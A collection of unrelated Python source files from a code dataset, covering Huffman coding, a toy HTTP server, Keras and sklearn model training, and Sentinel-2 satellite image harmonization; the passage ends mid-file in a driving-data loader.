+{"seq_id":"556135675","text":"# coding=utf-8\n\nimport pkg_resources\nimport wx\n\n\nclass AboutDialogInfo(wx.AboutDialogInfo):\n def __init__(self):\n super(AboutDialogInfo, self).__init__()\n\n self.Copyright = \"Copyright © 2003 - 2016 Broad Institute, Inc.\\nAll rights reserved.\"\n\n self.Name = \"CellProfiler\"\n\n self.Version = pkg_resources.get_distribution(\"cellprofiler\").version\n","sub_path":"cellprofiler/gui/dialog.py","file_name":"dialog.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"35236528","text":"class TreeNode():\n def __init__(self, char, freq, l_child, r_child):\n self.char = char\n self.freq = freq\n self.l_child = l_child\n self.r_child = r_child\n\n\nclass Heap_Utils():\n def parent(self, loc):\n x = loc + 1\n y = x//2\n return y - 1\n\n def insert_node(self, heap, node):\n if len(heap) == 0:\n new_heap = [node]\n return new_heap\n else:\n heap.append(node)\n new_heap = self.heapify(heap)\n return new_heap\n\n def heapify(self, array):\n j = 0\n for i in range(1, len(array)):\n if array[i].freq < array[self.parent(i)].freq:\n array[i], array[self.parent(\n i)] = array[self.parent(i)], array[i]\n j += 1\n if j != 0:\n self.heapify(array)\n return array\n\n def pop_2(self, heap):\n length = len(heap)\n min_1, min_2 = None, None\n if length >= 3:\n min_1 = heap[0]\n min_2 = heap[1] if heap[1].freq <= heap[2].freq else heap[2]\n heap = self.heapify(heap[2:])\n return (min_1, min_2, heap)\n elif length == 2:\n min_1, min_2 = heap[0], heap[1]\n return (min_1, min_2, [])\n elif length == 1:\n min_1 = heap[0]\n return (min_1, None, [])\n\n\nclass HuffmanCoding():\n def string_to_binary(self, str):\n bit_str = \"\"\n for char in str:\n byte = ord(char)\n bits = bin(byte)[2:].rjust(8, \"0\")\n bit_str += bits\n return bit_str\n\n def frequency_dict(self, str):\n frequency = {}\n for char in str:\n if char in frequency:\n frequency[char] += 1\n else:\n frequency[char] = 1\n return frequency\n\n def frequency_array(self, dict):\n freq_array = []\n for key in dict:\n node = TreeNode(key, dict[key], None, None)\n freq_array.append(node)\n return freq_array\n\n def pop_min_vals(self, heap):\n min_heap = Heap_Utils()\n pop = min_heap.pop_2(heap)\n sum = pop[0].freq + pop[1].freq if pop[1] is not None else pop[0].freq\n new_node = TreeNode(None, sum, pop[0], pop[1])\n new_heap = min_heap.insert_node(pop[2], new_node)\n return new_heap\n\n\ncoder = HuffmanCoding()\nutils = Heap_Utils()\n\n\ndef create_tree():\n dict = coder.frequency_dict(\"this is some random text\")\n array = coder.frequency_array(dict)\n heap = utils.heapify(array)\n for i in heap:\n print((i.char, i.freq))\n while len(heap) > 1:\n heap = coder.pop_min_vals(heap)\n print(\"-----------\")\n return heap\ndef traverse_left(tree):\n current_node = tree[0]\n while current_node is not None:\n print((current_node.char, current_node.freq))\n current_node = current_node.l_child\n\n\ntree = create_tree()\ntraverse_left(tree)\n","sub_path":"Huffman.py","file_name":"Huffman.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"364879715","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 04 13:25:31 2016\n\n@author: jianz\n\"\"\"\n\n#Gaussian Naive Bayes\n\nfrom sklearn import datasets\nfrom sklearn.naive_bayes import GaussianNB\n\niris = datasets.load_iris()\ngnb = GaussianNB()\ngnbmodel = gnb.fit(iris.data, iris.target)\ny_pred = gnbmodel.predict(iris.data)\ntotal = iris.data.shape[0]\nmislabled = (iris.target != y_pred).sum()\nprint(\"Number of mislabeled points out of a total %d points : %d;error rate:%f\" % (total,mislabled, mislabled/float(total)))\n\n\ndigits = datasets.load_digits()\ny_pred = gnb.fit(digits.data, digits.target).predict(digits.data)\ntotal = digits.data.shape[0]\nmislabled = (digits.target != y_pred).sum()\nprint(\"Number of mislabeled points out of a total %d points : %d;error rate:%f\" % (total,mislabled, mislabled/float(total)))","sub_path":"exercise/Lesson2_SVM/sklearn_naivebayes.py","file_name":"sklearn_naivebayes.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"377780428","text":"import socket\nimport os\nimport _thread\nfrom wsgiref.handlers import format_date_time\nfrom datetime import datetime\nfrom time import mktime\nimport json\nimport re\nimport os.path\n\ndataFormat = {}\n\n\nclass HTTPServer:\n\n def __init__(self):\n # self.request = request.decode(encoding='utf-8')\n self.request = {}\n self.response = {}\n self.methodMapping = {\"GET\": self.parseGet, \"PUT\": self.parsePut, \"HEAD\": self.parseHead,\n \"POST\": self.parsePost}\n return\n\n def set_request(self, request):\n self.request = request.decode(encoding='utf-8')\n return\n\n def print_request(self):\n print(\"decodedData:\")\n for key, value in self.request.items():\n print(\"{:<12}: {:<}\".format(key, str(value)))\n print('\\n')\n return\n\n def generate_date_time_stamp(self):\n now = datetime.now()\n stamp = mktime(now.timetuple())\n return 'Date: ' + format_date_time(stamp)\n\n def web_page(self):\n if (self.request['requestLine'])['uri'] == '/':\n content = \"

    Aricent Web Server

    \" \\\n \"

    Welcome to our Web Page

    \"\n return content\n\n def method_not_implemented(self):\n status_line = (self.request['requestLine'])['http-ver'] + \" 501 Not Implemented\"\n self.response['status-line'] = status_line\n self.response['message-body'] = \"

    Aricent Web Server

    501 - \" \\\n \"Not Implemented
    \"\n self.response['general-header'] = 'Date: ' + self.generate_date_time_stamp()\n return self.prepareResponse()\n\n def get_from_index(self, index):\n if os.stat('data.json').st_size == 0:\n json_data = []\n else:\n with open('data.json', 'r') as data_file:\n json_data = json.load(data_file)\n if index == 'all':\n self.response['status-line'] += '200 OK'\n self.response['message-body'] = json.dumps(json_data, indent=4)\n elif len(json_data) >= index:\n self.response['status-line'] += '200 OK'\n self.response['message-body'] = json.dumps(json_data[index - 1], indent=4)\n else:\n self.response['status-line'] += '404 NOT FOUND'\n return\n\n def parseGet(self):\n print(*\"Received GET request\\n\")\n request_line = self.request['requestLine']\n\n self.response['status-line'] = request_line['http-ver'] + ' '\n self.response['general-header'] = self.generate_date_time_stamp()\n\n if request_line['uri'] == \"/\":\n self.response['status-line'] += '200 OK'\n self.response['message-body'] = self.web_page()\n self.response['general-header'] += '\\r\\nContent-Type: text/html'\n elif re.findall(r\"/post/\\d+\", request_line['uri']):\n self.get_from_index(int((request_line['uri'].strip('/')).split('/')[1]))\n self.response['general-header'] += '\\r\\nContent-Type: application/json; charset=utf-8'\n elif request_line['uri'] == '/post/' or request_line['uri'] == '/post':\n self.get_from_index('all')\n self.response['general-header'] += '\\r\\nContent-Type: application/json; charset=utf-8'\n else:\n self.response['status-line'] += '404 NOT FOUND'\n self.response['general-header'] += '\\r\\nConnection: close'\n\n\n print(\"Response: {}\\n\".format(self.response) + '\\n')\n\n return self.prepareResponse()\n\n def prepareResponse(self):\n response_string = ''\n response_format = ['status-line', 'general-header', 'response-header', 'entity-header', 'message-body']\n print(\"prepare_response: {}\\n\".format(self.response))\n\n for item in response_format:\n if item in self.response:\n if response_string == '':\n response_string = self.response[item] + '\\r\\n'\n elif item == 'message-body':\n if (self.request['requestLine'])['method'] != 'HEAD':\n response_string = response_string + '\\r\\n' + self.response[item] + '\\r\\n'\n else:\n response_string = response_string + self.response[item] + '\\r\\n'\n print(\"response_string: {}\\n\".format(response_string))\n return response_string\n\n def put_to_index(self, index):\n print(\"put_to_index: index:: {}\\n\".format(index))\n if os.stat('data.json').st_size == 0:\n self.response['status-line'] = (self.request['requestLine'])['http-ver'] + ' 404 Not Found'\n else:\n datum = {}\n with open('data.json', 'r') as data_file:\n json_data = json.load(data_file)\n\n print(\"put_to_index: len: {}\\tjson_data:: {}\\n\".format(len(json_data),json_data))\n print(\"put_to_index: json_data_type:: {}\\n\".format(type(json_data)))\n\n if (index > 0) and (index <= len(json_data)):\n message_body = self.request['msgBody']\n header = self.request['header']\n\n print(\"message_body-1: {}\".format(message_body))\n\n if 'text/csv' in header['Content-Type'] or \\\n 'application/x-www-form-urlencoded' in header['Content-Type']:\n # message_body = re.findall(r'([\\w\\s]+=[\\w\\s]+)', message_body)\n #\n # if message_body:\n # for i in range(0, len(message_body), 2):\n # datum[(message_body[i].split('='))[1]] = (message_body[i + 1].split('='))[1]\n message_body = re.findall('[\\w]+=([\\w\\s]+)', message_body)\n if message_body:\n for i in range(0, len(message_body), 2):\n datum[message_body[i]] = message_body[i+1]\n else:\n self.response['status-line'] = (self.request['requestLine'])[\n 'http-ver'] + ' 500 Internal Server Error'\n elif 'application/json' in header['Content-Type']:\n try:\n datum = json.loads(message_body)\n except:\n self.response['status-line'] = (self.request['requestLine'])[\n 'http-ver'] + ' 500 Internal Server Error'\n print(\"message_body-2: {}\".format(datum))\n\n if datum not in json_data:\n json_data[index-1] = datum\n print(\"put_to_index: json_data:: {}\\n\".format(json_data))\n\n with open('data.json', 'w') as data_file:\n if datum:\n json.dump(json_data, data_file, indent=4)\n self.response['general-header'] += '\\r\\nLocation: http://localhost:5555/post/'\\\n + str(json_data.index(datum) + 1)\n self.response['message-body'] = json.dumps(datum, indent=4)\n self.response['general-header'] += '\\r\\nContent-Length: ' + str(len(self.response['message-body']))\n\n else:\n self.response['status-line'] = (self.request['requestLine'])['http-ver'] + ' 404 Not Found'\n return\n\n def parsePut(self):\n print(*\"Received PUT request\\n\")\n\n request_line = self.request['requestLine']\n\n uri = request_line['uri']\n print('uri: {}\\n'.format(uri))\n self.response['status-line'] = request_line['http-ver'] + ' '\n self.response['general-header'] = self.generate_date_time_stamp()\n\n if re.match(r\"/post/\\d+\", request_line['uri']):\n print(\"parsePut-IF: {}\".format(request_line['uri']))\n self.response['status-line'] = (self.request['requestLine'])['http-ver'] + ' 200 OK'\n self.put_to_index(int((request_line['uri'].strip('/')).split('/')[1]))\n else:\n print(\"parsePut-ELSE: {}\".format(request_line['uri']))\n self.response['status-line'] = (self.request['requestLine'])['http-ver'] + ' 404 Not Found'\n\n self.response['general-header'] += '\\r\\nContent-Type: application/json; charset=utf-8'\n self.response['general-header'] += '\\r\\nConnection: keep - alive'\n self.response['general-header'] += '\\r\\nServer: Aricent Web Server'\n self.response['general-header'] += '\\r\\nExpires: -1'\n print(\"post_response: {}\\n\".format(self.response))\n\n return self.prepareResponse()\n\n def parseHead(self):\n print(*\"Received HEAD request\\n\")\n return self.parseGet()\n\n def prepare_post_data(self):\n\n if not os.path.isfile('data.json'):\n with open('data.json', 'w') as data_file:\n pass\n if os.stat('data.json').st_size == 0:\n json_data = []\n else:\n with open('data.json', 'r') as data_file:\n json_data = json.load(data_file)\n\n datum = {}\n header = self.request['header']\n message_body = self.request['msgBody']\n\n if 'text/csv' in header['Content-Type'] or 'application/x-www-form-urlencoded' in header['Content-Type']:\n message_body = re.findall('[\\w]+=([\\w\\s]+)', message_body)\n\n if message_body:\n for i in range(0, len(message_body), 2):\n datum[message_body[i]] = message_body[i + 1]\n else:\n self.response['status-line'] = (self.request['requestLine'])['http-ver'] + ' 500 Internal Server Error'\n elif 'application/json' in header['Content-Type']:\n try:\n datum = json.loads(message_body)\n except:\n self.response['status-line'] = (self.request['requestLine'])['http-ver'] + ' 500 Internal Server Error'\n\n if datum not in json_data:\n json_data.append(datum)\n with open('data.json', 'w') as data_file:\n if datum:\n json.dump(json_data, data_file, indent=4)\n self.response['general-header'] += '\\r\\nLocation: http://localhost:5555/' + str(json_data.index(datum)+1)\n\n return datum\n\n def parsePost(self):\n\n self.response.clear()\n print(*\"Received POST request\")\n request_line = self.request['requestLine']\n\n uri = request_line['uri']\n print('uri-1: {}\\n'.format(uri))\n self.response['status-line'] = request_line['http-ver'] + ' '\n self.response['general-header'] = self.generate_date_time_stamp()\n print('uri-2: {}\\n'.format(uri))\n\n if uri == '/post' or uri == '/post/':\n self.response['status-line'] += '201 Created'\n self.response['message-body'] = json.dumps(self.prepare_post_data(), indent=4)\n else:\n self.response['status-line'] += '404 Not Found'\n self.response['message-body'] = '{}'\n\n self.response['general-header'] += '\\r\\nContent-Type: application/json; charset=utf-8'\n self.response['general-header'] += '\\r\\nContent-Length: ' + str(len(self.response['message-body']))\n self.response['general-header'] += '\\r\\nConnection: keep - alive'\n self.response['general-header'] += '\\r\\nServer: Aricent Web Server'\n self.response['general-header'] += '\\r\\nExpires: -1'\n print(\"post_response: {}\\n\".format(self.response))\n\n return self.prepareResponse()\n\n def methodToRun(self):\n print(\"Method to Run: {}\".format((self.request['requestLine'])['method']))\n\n try:\n methodToCall = self.methodMapping[(self.request['requestLine'])['method']]\n except:\n methodToCall = self.method_not_implemented\n return methodToCall()\n\n def parseRequest(self):\n decodedData = self.decodeRequest()\n\n request_dictionary = {}\n request_line = decodedData['requestLine'].split()\n request_dictionary['method'] = request_line[0]\n request_dictionary['uri'] = request_line[1]\n request_dictionary['http-ver'] = request_line[2]\n decodedData['requestLine'] = request_dictionary\n\n header_dictionary = {}\n header_data = decodedData['header'].splitlines()\n for line in header_data:\n header_dictionary[(line.split(':', maxsplit=1))[0]] = ((line.split(':', maxsplit=1))[1]).strip()\n decodedData['header'] = header_dictionary\n\n self.request = ''\n self.request = decodedData\n self.print_request()\n return\n\n def decodeRequest(self):\n data = {}\n\n reqIndex = self.request.find('\\r\\n')\n data['requestLine'] = self.request[0:reqIndex]\n\n hdrIndex = self.request.find('\\r\\n\\r\\n')\n data['header'] = self.request[reqIndex+2:hdrIndex]\n\n msgBdyIndex = hdrIndex + 4\n data['msgBody'] = self.request[msgBdyIndex:len(self.request)]\n\n return data\n\n\ndef threaded_client(client_socket, server_instance):\n\n while True:\n try:\n request = client_connection.recv(1024)\n except ConnectionResetError:\n print(\"*** Connection Closed ***\\n\")\n client_socket.close()\n break\n except:\n print(\"*** Connection is Broken ***\\n\")\n client_socket.close()\n break\n\n print(\"Data received from client: {}\\n\".format(request))\n\n if not request:\n print(\"\\n**NO DATA PRESENT**\\n\")\n print(\"*** closing the Connection ***\\n\")\n client_socket.close()\n break\n\n # response = ''\n server_instance.set_request(request)\n server_instance.parseRequest()\n response = server_instance.methodToRun()\n print(\"\\nSending Response:\\n{}\\n\".format(response))\n client_connection.sendall(response.encode(encoding='utf-8'))\n client_connection.close()\n\n\n# main function start hear\nHOST, PORT = '', 5555\n\nlisten_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nlisten_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nlisten_socket.bind((HOST, PORT))\nlisten_socket.listen(1)\nprint('Serving HTTP on port {} ...'.format(PORT))\n\nwhile True:\n client_connection, client_address = listen_socket.accept()\n print(\"Connected to: {} : {}\\n\".format(client_address[0], client_address[1]))\n server = HTTPServer()\n _thread.start_new_thread(threaded_client, (client_connection, server))\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":14694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"607017517","text":"\"\"\"\nScript to create/test the deep learning model \n\"\"\"\n\n### Loading libraries\n\nimport tensorflow as tf\nfrom tensorflow import keras\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\n\n### Defining the share of data that will be in the training data\n\nshare_in_train = 1\n\n### Loading the data and spliting to train and test sets\n\nmnist = keras.datasets.fashion_mnist\n\n### Saving the class decoder for future use\n\nclass_names = ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat', \n 'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot']\nclass_index = range(len(class_names))\nclass_df = pd.DataFrame(class_names, index=class_index)\nclass_df = class_df.rename({0 : 'class_label'}, axis = 'columns')\nclass_df['class_code'] = class_df.index\nclass_df.to_csv('main_model/class_decoder.csv', index = False)\n\n## We divide by 255 in order to have the pixel values in the range of \n## [0, 1] \n\n(x_train, y_train),(x_test, y_test) = mnist.load_data()\nx_train, x_test = x_train / 255.0, x_test / 255.0\n\n## We concatinate the arrays in order to have the full dataset\n\nX_matrix = np.concatenate((x_train, x_test))\nY_matrix = np.concatenate((y_train, y_test))\n\nx_train, x_test, y_train, y_test = train_test_split(X_matrix, Y_matrix, \n test_size= 1 - share_in_train, \n random_state=42)\n\n### Defining the model\n\nmodel = keras.Sequential([\n keras.layers.Flatten(input_shape=(28, 28)),\n keras.layers.Dense(128, activation=tf.nn.relu),\n keras.layers.Dense(60, activation=tf.nn.relu),\n keras.layers.Dense(10, activation=tf.nn.softmax)\n])\n\nmodel.compile(optimizer=tf.train.AdamOptimizer(), \n loss='sparse_categorical_crossentropy',\n metrics=['accuracy'])\n\n### Fiting the model\n\nmodel.fit(x_train, y_train, epochs=10)\n\n### Testing the model on the test set\n\nif(share_in_train != 1):\n score = model.evaluate(x_test, y_test, verbose=0)\n print(\"%s: %.3f%%\" % (model.metrics_names[1], score[1]*100))\n\n### Saving the model for future use \n## We will only save that model which was created using the full dataset\n## We will save the model weights and the specification\n\nif(share_in_train == 1):\n model_json = model.to_json()\n with open(\"main_model/model_specs.json\", \"w\") as json_file:\n json_file.write(model_json)\n model.save_weights(\"main_model/model_weights.h5\")\n\n","sub_path":"model_creation/create_model.py","file_name":"create_model.py","file_ext":"py","file_size_in_byte":2418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"567513304","text":"'''\nCreated on Jun 11, 2009\n\n@author: kurtjx\n'''\nimport unittest\nimport os\n# change to src directory\nos.chdir('../src')\nfrom myspace.myspace2rdf import MyspaceScrape\n\nclass CommonTest(unittest.TestCase):\n\n\n def setUp(self):\n self.short_url_artist = 'kurtisrandom'\n self.uid_artist = '30650288'\n self.A = MyspaceScrape(uid=self.uid_artist)\n self.A.get_page()\n \n self.short_url_non = 'flexboogie'\n self.uid_non = '8840037'\n # basic page getting\n self.M = MyspaceScrape(uid = self.uid_non)\n self.M.get_page()\n\n\n\n\n def test_get_uid(self):\n self.M.get_uid()\n assert self.M.uid == self.uid_non, 'uid mismatch, got '+str(self.M.uid)+ ' expected ' +str(self.uid_artist)\n self.A.get_uid()\n assert self.A.uid == self.uid_artist, 'uid mismatch, got '+str(self.M.uid)+ ' expected ' +str(self.uid_artist)\n \n def test_is_artist(self):\n self.A.get_uid()\n assert self.A.is_artist(), 'should be an artist'\n self.M.get_uid()\n assert not self.M.is_artist(), 'Flex Boogie is not an artist'\n assert not self.M.name.find(\"Flex\") == -1, 'wrong name: ' +str(self.M.name)\n\n\nif __name__ == \"__main__\":\n #import sys;sys.argv = ['', 'Test.testName']\n unittest.main()","sub_path":"myspace-serv/trunk/test/commonTest.py","file_name":"commonTest.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"297487059","text":"linesize = int(input())\ntable = [[0 for x in range(4)] for y in range(linesize)] \nqueue = []\nfor i in range(linesize):\n entry = input().split(' ')\n # print(entry, 'pushed')\n country = (int(entry[1]),int(entry[2]),int(entry[3]),str(entry[0]))\n queue.append(country)\nout = sorted(queue, key = lambda x: x[3])\nout = sorted(out, key = lambda x: (x[0], x[1], x[2]), reverse=True)\n\nfor elemt in out:\n print(\"{0} {1} {2} {3}\".format(elemt[3],elemt[0],elemt[1],elemt[2]))","sub_path":"python/MedalTable/medalTable.py","file_name":"medalTable.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"176332377","text":"# Python Native\nimport glob\nimport logging\nimport os\nimport re\nimport shutil\n# 3rdparty\nimport s2angs\nfrom osgeo import gdal\n# Local import\n# import .sentinel2_angle_bands\nfrom .harmonization_model import process_NBAR\nfrom .utils import load_img\n\n\ndef sentinel_NBAR_SAFE(sz_path, sa_path, vz_path, va_path, SAFEL2A, target_dir):\n \"\"\"\n Generate Sentinel-2 NBAR from Sen2cor.\n\n Parameters:\n sz_path (str): path to solar zenith angle band.\n sa_path (str): path to solar azimuth angle band.\n vz_path (str): path to view (sensor) zenith band.\n va_path (str): path to view (sensor) angle band.\n SAFEL2A (str): path to directory SAFEL2A.\n target_dir (str): path to output result images.\n \"\"\"\n ### Sentinel-2 data set ###\n pars_array_index = {'B02': 0, 'B03': 1, 'B04': 2, 'B08': 3, 'B8A': 3, 'B11': 4, 'B12': 5}\n\n satsen = os.path.basename(SAFEL2A)[0:3]\n logging.info('SatSen: {}'.format(satsen))\n\n img_dir = os.path.join(SAFEL2A, 'GRANULE', os.path.join(os.listdir(os.path.join(SAFEL2A,'GRANULE/'))[0], 'IMG_DATA/R10m/'))\n bands10m = ['B02','B03','B04','B08']\n band_sz = load_img(sz_path)\n band_sa = load_img(sa_path)\n band_vz = load_img(vz_path)\n band_va = load_img(va_path)\n process_NBAR(img_dir, bands10m, band_sz, band_sa, band_vz, band_va, satsen, pars_array_index, target_dir)\n\n img_dir = os.path.join(SAFEL2A, 'GRANULE', os.path.join(os.listdir(os.path.join(SAFEL2A,'GRANULE/'))[0], 'IMG_DATA/R20m/'))\n bands20m = ['B8A','B11','B12']\n band_sz = load_img_resampled_to_half(sz_path)\n band_sa = load_img_resampled_to_half(sa_path)\n band_vz = load_img_resampled_to_half(vz_path)\n band_va = load_img_resampled_to_half(va_path)\n process_NBAR(img_dir, bands20m, band_sz, band_sa, band_vz, band_va, satsen, pars_array_index, target_dir)\n\n return\n\n\ndef sentinel_harmonize_SAFE(SAFEL1C, SAFEL2A, target_dir=None):\n \"\"\"\n Prepare Sentinel-2 NBAR from Sen2cor.\n\n Parameters:\n SAFEL1C (str): path to SAFEL1C directory.\n SAFEL2A (str): path to SAFEL2A directory.\n target_dir (str): path to output result images.\n Returns:\n str: path to folder containing result images.\n \"\"\"\n logging.info('Generating Angles from {} ...'.format(SAFEL1C))\n sz_path, sa_path, vz_path, va_path = s2angs.gen_s2_ang(SAFEL1C)\n\n if target_dir is None:\n target_dir = os.path.join(SAFEL2A, 'GRANULE', os.path.join(os.listdir(os.path.join(SAFEL2A,'GRANULE/'))[0], 'HARMONIZED_DATA/'))\n os.makedirs(target_dir, exist_ok=True)\n\n logging.info('Harmonization ...')\n sentinel_NBAR_SAFE(sz_path, sa_path, vz_path, va_path, SAFEL2A, target_dir)\n\n #COPY quality band\n pattern = re.compile('.*SCL.*')\n img_list = [f for f in glob.glob(os.path.join(SAFEL2A, 'GRANULE', os.path.join(os.listdir(os.path.join(SAFEL2A,'GRANULE/'))[0], 'IMG_DATA/R20m/')) + \"/*.jp2\", recursive=True)]\n qa_filepath = list(filter(pattern.match, img_list))[0]\n #Convert jp2 to tiff\n src_ds = gdal.Open(qa_filepath)\n os.system('gdal_translate -of Gtiff ' + qa_filepath + ' ' + target_dir + '/' + os.path.basename(qa_filepath)[:-4] + '.tif')\n # out_ds = gdal.Translate(target_dir + '/' + os.path.basename(qa_filepath)[:-4] + '.tif', src_ds, format='Gtiff', bandList=[1])\n out_ds = None\n src_ds = None\n\n return target_dir\n\n\ndef sentinel_NBAR(sz_path, sa_path, vz_path, va_path, sr_dir, target_dir):\n \"\"\"\n Generate Sentinel-2 NBAR from LaSRC.\n\n Parameters:\n sz_path (str): path to solar zenith angle band.\n sa_path (str): path to solar azimuth angle band.\n vz_path (str): path to view (sensor) zenith band.\n va_path (str): path to view (sensor) angle band.\n sr_dir (str): path to directory containing surface reflectance.\n target_dir (str): path to output result images.\n \"\"\"\n ### Sentinel-2 data set ###\n pars_array_index = {'band2': 0, 'band3': 1, 'band4': 2, 'band8': 3, 'band8a': 3, 'band11': 4, 'band12': 5}\n\n satsen = os.path.basename(sr_dir)[0:3]\n print('SatSen: {}'.format(satsen), flush=True)\n\n bands = ['band2','band3','band4','band8', 'band8a','band11','band12']\n band_sz = load_img(sz_path)\n band_sa = load_img(sa_path)\n band_vz = load_img(vz_path)\n band_va = load_img(va_path)\n process_NBAR(sr_dir, bands, band_sz, band_sa, band_vz, band_va, satsen, pars_array_index, target_dir)\n\n\ndef sentinel_harmonize(SAFEL1C, sr_dir, target_dir):\n \"\"\"\n Prepare Sentinel-2 NBAR from LaSRC.\n\n Parameters:\n SAFEL1C (str): path to SAFEL1C directory.\n sr_dir (str): path to directory containing surface reflectance.\n target_dir (str): path to output result images.\n Returns:\n str: path to folder containing result images.\n \"\"\"\n print('Generating Angles from {} ...'.format(SAFEL1C), flush=True)\n # sz_path, sa_path, vz_path, va_path = sentinel2_angle_bands.gen_s2_ang(SAFEL1C)\n sz_path, sa_path, vz_path, va_path = s2angs.gen_s2_ang(SAFEL1C)\n\n os.makedirs(target_dir, exist_ok=True)\n\n print('Harmonization ...', flush=True)\n sentinel_NBAR(sz_path, sa_path, vz_path, va_path, sr_dir, target_dir)\n\n return target_dir\n","sub_path":"sensorharm/sentinel2_harmonization.py","file_name":"sentinel2_harmonization.py","file_ext":"py","file_size_in_byte":5310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"87196109","text":"import re, os\n\n\ndef makeLink(filename):\n directory = \"\"\n if os.path.isdir(filename): \n directory = \"/\"\n\n link = \"\"+filename+directory+''\n return link\n\n\n\ndef dirlistingHTML(path):\n # The top picture is not strictly necessary.\n listing = \"

    \\n\"\n dirname, filename = os.path.split(path)\n \n if (os.path.isdir(dirname)):\n for filename in os.listdir(dirname):\n listing = listing + makeLink(filename) + \"
    \\n\"\n else:\n for filename in os.listdir('.'):\n \n listing = listing + makeLink(filename) + \"
    \\n\"\n\n return listing\n\ndef dirlistingBoot(path, depth):\n\n dirs, files = [], []\n\n dirs, files = dirlisting(path, depth, dirs, files)\n dirs = set(dirs)\n files = set(files)\n\n return (dirs, files)\n\ndef dirlisting(path, depth, dirlist, filelist):\n\n if (depth < 0):\n return (dirlist, filelist)\n\n else:\n\n\n for (localRoot, dirs, files) in os.walk(path):\n for file in files:\n filelist.append(localRoot + \"/\" + file)\n for dir in dirs:\n dirlist.append(localRoot + \"/\" + dir)\n\n for dir in dirs:\n (a,b) = dirlisting(localRoot + \"/\" + dir + \"/\", depth - 1 , [], [])\n dirlist = a + dirlist\n filelist = b + filelist\n\n return (dirlist, filelist)\n\n","sub_path":"SRC/DirListings.py","file_name":"DirListings.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"100568661","text":"'''\nhttps://www.learnopencv.com/keras-tutorial-fine-tuning-using-pre-trained-models/\n'''\n\n#coding=utf-8\n\nimport cv2\nimport glob\nimport numpy as np\nimport sys,os\nimport matplotlib\nmatplotlib.use('Agg')\nimport time\nimport glob\nimport os, os.path\nimport re\nfrom keras.preprocessing.image import ImageDataGenerator\nimport scipy.io\nfrom sklearn.model_selection import train_test_split\nimport keras\nimport keras.utils\nfrom keras import utils as np_utils\n\n\n\n\nnumbers = re.compile(r'(\\d+)')\ndef numericalSort(value):\n parts = numbers.split(value)\n parts[1::2] = map(int, parts[1::2])\n return parts\n\nX_train = []\nfiles = sorted(glob.glob(\"/home/ubuntu/caffe/data/lamda_2/lamdaPics/*.jpg\"), key=numericalSort)\n\nfor myFile in files:\n image = cv2.imread (myFile)\n X_train.append (image)\n\n\nX_train = np.array(X_train, dtype=np.float32)\nprint(type(X_train))\nprint('X_train shape:', np.array(X_train).shape)\n\n\ny_train = scipy.io.loadmat('/home/ubuntu/caffe/data/lamda/File_Lists/targets.mat') # it is not list like X it is dict\ndel y_train['__version__']\ndel y_train['__header__']\ndel y_train['__globals__']\n\n\ny_train=list(y_train.values())\ny_train = np.reshape(y_train, (2000,5))\n\n\n\nX_train,X_test,y_train,y_test = train_test_split(X_train, y_train, test_size=0.01 ,random_state=13)\nnum_classes = y_train.shape[1]\n\n\n\n\n\nimage_size = 256\nbatch_size = 32 \nepochs = 3\n\nfrom keras.applications import VGG16\n#Load the VGG model\nvgg_conv = VGG16(weights='imagenet', include_top=False, input_shape=(image_size, image_size, 3))\n# Freeze the layers except the last 4 layers\nfor layer in vgg_conv.layers[:-4]:\n layer.trainable = False\n\n# Check the trainable status of the individual layers\nfor layer in vgg_conv.layers:\n print(layer, layer.trainable)\n\nfrom keras import models\nfrom keras import layers\nfrom keras import optimizers\n# Create the model\nmodel = models.Sequential()\n# Add the vgg convolutional base model\nmodel.add(vgg_conv)\n \n# Add new layers\nmodel.add(layers.Flatten())\nmodel.add(layers.Dense(1024, activation='relu'))\nmodel.add(layers.Dropout(0.5))\nmodel.add(layers.Dense(5, activation='sigmoid'))\n \n# Show a summary of the model. Check the number of trainable parameters\nmodel.summary()\n\n\nmodel.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adam(),metrics=['accuracy'])\nmodel.summary()\n\n\nX_train = X_train.astype(\"float32\")\nX_test = X_test.astype(\"float32\")\nX_train /= 255\nX_test /= 255\n\n\nmodel_train_dropout = model.fit(X_train, y_train, batch_size=batch_size,epochs=epochs,verbose=1,validation_data=(X_test, y_test))\n\nfashion_model.save('ml_ft.h5')\n\n","sub_path":"enver/ml_ft.py","file_name":"ml_ft.py","file_ext":"py","file_size_in_byte":2599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"370329050","text":"import csv\nimport cv2\nimport numpy as np\nimport random\nfrom matplotlib import pyplot as plt\nfrom matplotlib import image as mpimg\n\nfile_path = './data/data/driving_log_dummy_16.csv'\nimage_data_file_path = './data/data/'\nimage_shape = (320, 160, 3)\narray_shape = [0, 160, 320, 3]\nleft_steering_correction = 0.25\nright_steering_correction = -0.25\n\n\ndef load_data_with_flip():\n x = np.empty(array_shape, np.float32)\n y = np.empty([0], np.float32)\n with open(file_path) as csv_file:\n lines = 